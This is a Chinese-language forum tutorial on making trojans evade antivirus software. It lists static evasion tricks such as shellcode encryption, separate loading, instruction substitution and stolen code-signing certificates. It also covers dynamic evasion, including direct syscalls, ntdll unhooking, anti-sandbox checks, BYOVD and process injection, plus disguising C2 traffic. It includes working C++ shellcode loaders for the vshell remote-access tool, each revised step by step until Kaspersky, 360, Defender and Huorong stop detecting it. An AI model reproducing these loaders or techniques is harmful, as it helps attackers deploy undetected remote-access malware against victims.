目录
- 静态免杀篇
- 动态免杀篇
- 流量混淆篇
- 免杀实战案例(一步步带你从0过卡巴)
- 结语
静态免杀篇
静态查杀原理
想要了解如何进行静态免杀,首先就得了解杀毒软件一般是如何查杀木马的,下面我列出常见的几种检测方式:
- 特征码比对:杀软会在云端或本地存储大量的病毒库,当一个木马被杀软扫描时,会将木马的某些特征片段进行hash运算,与病毒库进行比较,如果木马多个片段与病毒库比对成功,该木马就会被查杀。
- 静态启发式分析:杀软会直接分析木马的PE结构,对各种区段,例如资源,导入函数等进行分析,如果存在多个可疑的点,该木马就会被查杀
近些年因为AI爆火,很多杀软都会加入AI进行木马分析,但是分析的原理也无非是上面两种(可能有新技术但大差不差)
静态免杀思路
根据上面的原理,我们针对木马的静态免杀思路也就很明了了,我们只需要打破杀软所认定是木马的特征,就能很轻松的过静态免杀。
现在单纯只用下面某个思路去免杀,很难有好的效果,由于现在的杀软都用多种检测方式同时检测。我们希望免杀简单点,可以结合下面的多种思路同时运用进行免杀
一,对shellcode进行编码/加密
主要是过特征码比对,目的是消除shellocde中的木马特征。
这里经过实践,某些加密很难取得好的效果,比如说简单的xor加密,奇偶换位等
解决方法:
- 使用强加密比如AES,RSA等,或多种密码混合使用。
- 使用奇怪的编码,比如说将shellocde编码成ip,uuid,或者有某些ctf中的杂项编码佛曰等等(这个可以一定程度上骗过ai)
二,对shellocde中加上自解密壳
主要是过特征码比对,目的是消除shellocde中的木马特征。(某些情况下可能比直接在loader中写解密效果要好)
三,分离免杀
把shellcode和loader分开,进行加载(网络加载/文件加载/隐写),这个在免杀中的效果是真的好。
原理:如果把shellcode放在loader中一起编译,大概率会报毒(杀软的静态启发式查杀会检查到data段中有一大段不正常数据,专业点叫信息熵太高了)
四,变换shellcode
反编译shellcode替换某些指令,加上某些花指令等等。例如:- 替换同义指令
- xor eax, eax => mov eax, 0x0
- 更改指令顺序
- push eax
- push ebx
- ...
- pop ebx
- pop eax
- ------------------
- push ebx
- push eax
- ...
- pop eax
- pop ebx
- 添加花指令
- jnz label
- jz label
- emit 0xe8
- label:
复制代码 五,替换资源
静态启发式分析中会分析区段内容,添加或窃取一些资源可以让杀软认为这是一个普通的程序
工具: restorator
六,添加证书
某些杀软,比如说360,对于证书来说非常看重,一般检测到某些合规白名单证书会放宽检测,我们可以通过窃取证书来瞒天过海
工具链接: https://github.com/secretsquirrel/SigThief
七,更换编译器或配置
某些编译器编译出来的比较容易被杀,比如说msvc,可以换成clang或llvm等等,编译器的优化参数也会有影响(可能把你混淆的代码给优化了)
八,更换语言
不同语言的免杀效果也会大不相同,比如说同样的逻辑,在c中被杀和在rush中免杀
九,对代码进行混淆
可以使用开源库如Obfuscator-LLVM等,对代码进行混淆,膨胀保护
十,更换一些api/动态导入api
杀软会检查导入表的某些api进行静态查杀
这里我用mfc做了一个免杀工具,工具完全开源,可以学习到PE结构和自解密壳的原理
链接: https://github.com/NOOB-P/My_re_tools
动态免杀篇
动态查杀原理
动态查杀一般是杀软的最后一道防线,杀软会主动检测并拦截运行中的木马的恶意行为,要绕过检测,就需要了解杀软在运行中是如何检测木马的。
- hook 关键api: 以windows为例,杀软会hook windows中的相关api,例如创建进程,读取文件,打开文件等,通过监测其中的函数调用链,和传入的参数,来判断木马的恶意行为
- 内核回调: windows会提供某些回调,用于监听系统的某些行为,比如说创建进程等
- 扫描内存: 杀软会扫描内存区域(主要扫描可执行的区域),来匹配病毒特征
- 行为沙箱: 杀软会在沙箱中运行你的木马远控,来监测外联网络ip,修改注册表等可疑行为
动态免杀思路
反hook思路
- 地狱之门: 通过直接调用系统调用 syscall 绕过杀软对 ntdll.dll 的监控
- 修补ntdll.dll:通过读取磁盘中的ntdll.dll来修补内存中被hook的ntdll.dll
- ...
反沙箱
- sleep延时(可能被hook或加速)
- 利用网上时间延时
- 设置某个启动条件,例如当前路径存在某个文件夹时启动
- 监测沙箱的特征(软件,进程,注册表,服务等)
- ...
内存扫描绕过
- 修改内存中的某些敏感特征(静态免杀中,直接shellcode指令替换可以达到内存扫描绕过的特点)
- 用循环定期修改木马可执行区域的权限,或睡眠加密
- ...
内核回调绕过(一般都需要内核操作)
- 强制摘除内核回调
- BYOVD驱动利用(例如前段时间,百度杀毒驱动的任意文件删除漏洞)
- 句柄降权
- ...
其他绕过方法
- 注入白名单进程(进程池注入PoolParty项目)
- 手动加载PE文件
- 白加黑dll劫持
- 二开c2
- ...
流量混淆篇
网上这些公开的c2例如cs等,多多少少都带有某些特定的流量特征,edr杀软会监测这些流量。
绕过的方法也十分的简单,我们只需要模拟正常访问网站的流量就可以(特殊情况可以复制些白名单软件的流量)
免杀实战案例
下面是一个静态免杀案例,使用上面的免杀思路,一步步带你从被杀到免杀
案例环境
远控:vshell
代码编辑器:vs2022
虚拟机:kali 用于部署c2服务器
多台虚拟机:windows10系统(装有)
编译器:MSVC,Clang++
1.先让木马跑起来
先关闭杀软,看看木马是否能正常上线,我这边能正常上线,代码如下- #include <iostream>
- #include "stdio.h"
- #include "Windows.h"
- #pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"")
- unsigned char shellcode[] = "...";
- void main() {
- LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- memcpy(Memory, shellcode, sizeof(shellcode));
- ((void(*)())Memory)();
- }
复制代码 打开杀软后,全部都没过
2。加入分离免杀(shellcode未加密)
将shellcode以二进制格式保存到abc.bin文件中- #include <iostream>
- #include <fstream>
- #include "stdio.h"
- #include "Windows.h"
- #pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"")
- void main() {
- //读取shellcode
- std::fstream file("./abc.bin", std::ios::in | std::ios::out | std::ios::binary);
- if(!file.is_open()) {
- return;
- }
- file.seekg(0, std::ios::end);
- int size = file.tellg();
- file.seekg(0, std::ios::beg);
- char* shellcode = new char[size];
- file.read(shellcode, size);
- //运行shellcode
- LPVOID Memory = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- memcpy(Memory, shellcode, size);
- ((void(*)())Memory)();
- }
复制代码 运行效果图
结果非常的出乎意料,没有做任何的加密编码,360,df,火绒直接gg,但幸运的是卡巴斯基虽然静态扫不出来,但是动态查杀直接将它拦截了
接下来我们只需要继续修改我们的木马,让它过卡巴斯基
3. 为文件的shellcode添加自解密壳
这里我用的是我自己写的工具,具体github的链接参考上面
4. 更换下函数,修改loader- #include <iostream>
- #include <fstream>
- #include "stdio.h"
- #include "Windows.h"
- #pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"")
- void main() {
- //读取shellcode
- std::fstream file("./abc.bin", std::ios::in | std::ios::out | std::ios::binary);
- if (!file.is_open()) {
- return;
- }
- file.seekg(0, std::ios::end);
- int size = file.tellg();
- file.seekg(0, std::ios::beg);
- char* shellcode = new char[size];
- file.read(shellcode, size);
- //运行shellcode
- DWORD old;
- VirtualProtect(shellcode, size, PAGE_EXECUTE_READWRITE, &old);
- ((void(*)(double, double))shellcode)(1.256, 2.348);
- }
复制代码 {EABA5216-0A91-4123-9326-480CB122C62A}.png
非常的amazing啊,卡巴斯基(优选版)轻松免杀
结语
方法千千万,只要知道思路,奇妙的方法就只是锦上添花
通过上面的案例,我们发现,其实只要方法找对,随便改改就能够免杀,你上你也行。
如果❤喜欢❤本教程,就点个关注吧,后续不定期更新~
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |